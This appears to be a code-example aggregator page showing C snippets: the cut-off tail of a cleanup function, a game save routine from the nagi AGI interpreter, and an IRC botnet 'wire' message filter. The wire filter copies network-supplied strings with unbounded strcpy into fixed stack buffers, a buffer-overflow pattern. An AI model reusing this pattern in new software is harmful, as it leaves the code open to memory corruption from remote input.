		free_sensitive_buf(&(cl.prxy.passwd), strlen(cl.prxy.passwd));
	}
	free_cl_reg_cfg_fields(&cl);

	return (-1);
}
コード例 #18
0
ファイル: state_io.c プロジェクト: saucjedi/nagi
u8 *cmd_save_game(u8 *c)
{
	u8 newline_orig;
	FILE *save_stream;	// file handle
	u8 *msg;
	
	clock_state = 1;
	newline_orig = msgstate.newline_char;
	msgstate.newline_char = '@';
		
	decrypt_string(inv_obj_string, inv_obj_string+inv_obj_string_size);
	
	if (save_dir == 0)
		save_dir = vstring_new(0, 200);
	if (save_filename == 0)
		save_filename = vstring_new(0, 250);
	
	if ( state_get_info('s') != 0)// select the game
	{
		if (strlen(save_filename->data) > strlen(save_dir->data))
			msg = alloca(200 + strlen(save_filename->data));
		else
			msg = alloca(200 + strlen(save_dir->data));
		if (state_name_auto[0] == 0)
		{
			sprintf(msg, "About to save the game\ndescribed as:\n\n%s\n\nin file:\n %s\n\n%s",
					save_description, save_filename->data,
					"Press ENTER to continue.\nPress ESC to cancel.");
			message_box_draw(msg, 0, 0x23, 0);
			
			if ( user_bolean_poll() == 0)
				goto save_end;
		}
		dir_preset_change(DIR_PRESET_GAME);
		save_stream = fopen(save_filename->data, "wb");
		if ( save_stream == 0)
		{
			sprintf(msg, "The directory\n   %s\n is full or the disk is write-protected.\nPress ENTER to continue."
				, save_dir->data);
			message_box(msg);
		}
		else
		{
			if (fwrite(save_description, sizeof(u8), 0x1f, save_stream) != 0x1f)
				goto save_err;
			if (state_write(save_stream, &state, sizeof(AGI_STATE)) == 0)
				goto save_err;
			if (state_write(save_stream, objtable, objtable_size) == 0)
				goto save_err;
			if (state_write(save_stream, inv_obj_table, inv_obj_table_size*sizeof(INV_OBJ)) == 0)
				goto save_err;
			if (state_write(save_stream, inv_obj_string, inv_obj_string_size) == 0)
				goto save_err;
			if (state_write(save_stream, script_head, state.script_size<<1) == 0)
				goto save_err;
			if (state_write(save_stream, (void *)scan_start_list, logic_save_scan_start()) != 0)
				goto save_close;
		save_err:
			fclose(save_stream);
			remove(save_filename->data);
			message_box("The disk is full.\nPress ENTER to continue.");
			goto save_end;
		save_close:
			fclose(save_stream);
		}
	}
save_end:
	cmd_close_window(0);
	msgstate.newline_char = newline_orig;
	clock_state = 0;
	decrypt_string(inv_obj_string, inv_obj_string+inv_obj_string_size);
	return c;
}
コード例 #19
0
ファイル: wire.c プロジェクト: Protospace/protobot
static void wire_filter(char *from, char *cmd, char *param)
{
  char wirecrypt[512];
  char wirewho[512];
  char wiretmp2[512];
  char wiretmp[512];
  char wirereq[512];
  wire_list *w = wirelist;
  char reqsock;
  time_t now2 = now;
  char idle[20];
  char *enctmp;

  strcpy(wirecrypt, &cmd[5]);
  strcpy(wiretmp, param);
  nsplit(wirereq, param);

/*
 * !wire<crypt"wire"> !wirereq <destbotsock> <crypt"destbotnick">
 * -----  wirecrypt    wirereq    wirewho         param
 */

  if (!strcmp(wirereq, "!wirereq")) {
    nsplit(wirewho, param);
    while (w) {
      if (!strcmp(w->crypt, wirecrypt)) {
        int idx = findanyidx(w->sock);

        reqsock = atoi(wirewho);
        if (now2 - dcc[idx].timeval > 300) {
          unsigned long Days, hrs, mins;

          Days = (now2 - dcc[idx].timeval) / 86400;
          hrs = ((now2 - dcc[idx].timeval) - (Days * 86400)) / 3600;
          mins = ((now2 - dcc[idx].timeval) - (hrs * 3600)) / 60;
          if (Days > 0)
            sprintf(idle, " [%s %lud%luh]", WIRE_IDLE, Days, hrs);
          else if (hrs > 0)
            sprintf(idle, " [%s %luh%lum]", WIRE_IDLE, hrs, mins);
          else
            sprintf(idle, " [%s %lum]", WIRE_IDLE, mins);
        } else
          idle[0] = 0;
        sprintf(wirereq, "----- %c%-9s %-9s  %s%s",
                geticon(idx), dcc[idx].nick, botnetnick, dcc[idx].host, idle);
        enctmp = encrypt_string(w->key, wirereq);
        strcpy(wiretmp, enctmp);
        nfree(enctmp);
        sprintf(wirereq, "zapf %s %s !wire%s !wireresp %s %s %s",
                botnetnick, from, wirecrypt, wirewho, param, wiretmp);
        dprintf(nextbot(from), "%s\n", wirereq);
        if (dcc[idx].u.chat->away) {
          sprintf(wirereq, "-----    %s: %s\n", WIRE_AWAY,
                  dcc[idx].u.chat->away);
          enctmp = encrypt_string(w->key, wirereq);
          strcpy(wiretmp, enctmp);
          nfree(enctmp);
          sprintf(wirereq, "zapf %s %s !wire%s !wireresp %s %s %s",
                  botnetnick, from, wirecrypt, wirewho, param, wiretmp);
          dprintf(nextbot(from), "%s\n", wirereq);
        }
      }
      w = w->next;
    }
    return;
  }
  if (!strcmp(wirereq, "!wireresp")) {
    nsplit(wirewho, param);
    reqsock = atoi(wirewho);
    w = wirelist;
    nsplit(wiretmp2, param);
    while (w) {
      if (w->sock == reqsock) {
        int idx = findanyidx(reqsock);

        enctmp = decrypt_string(w->key, wiretmp2);
        strcpy(wirewho, enctmp);
        nfree(enctmp);
        if (!strcmp(dcc[idx].nick, wirewho)) {
          enctmp = decrypt_string(w->key, param);
          dprintf(idx, "%s\n", enctmp);
          nfree(enctmp);
          return;
        }
      }
      w = w->next;
    }
    return;
  }
  while (w) {
    if (!strcmp(wirecrypt, w->crypt))
      wire_display(findanyidx(w->sock), w->key, wirereq, param);
    w = w->next;
  }
}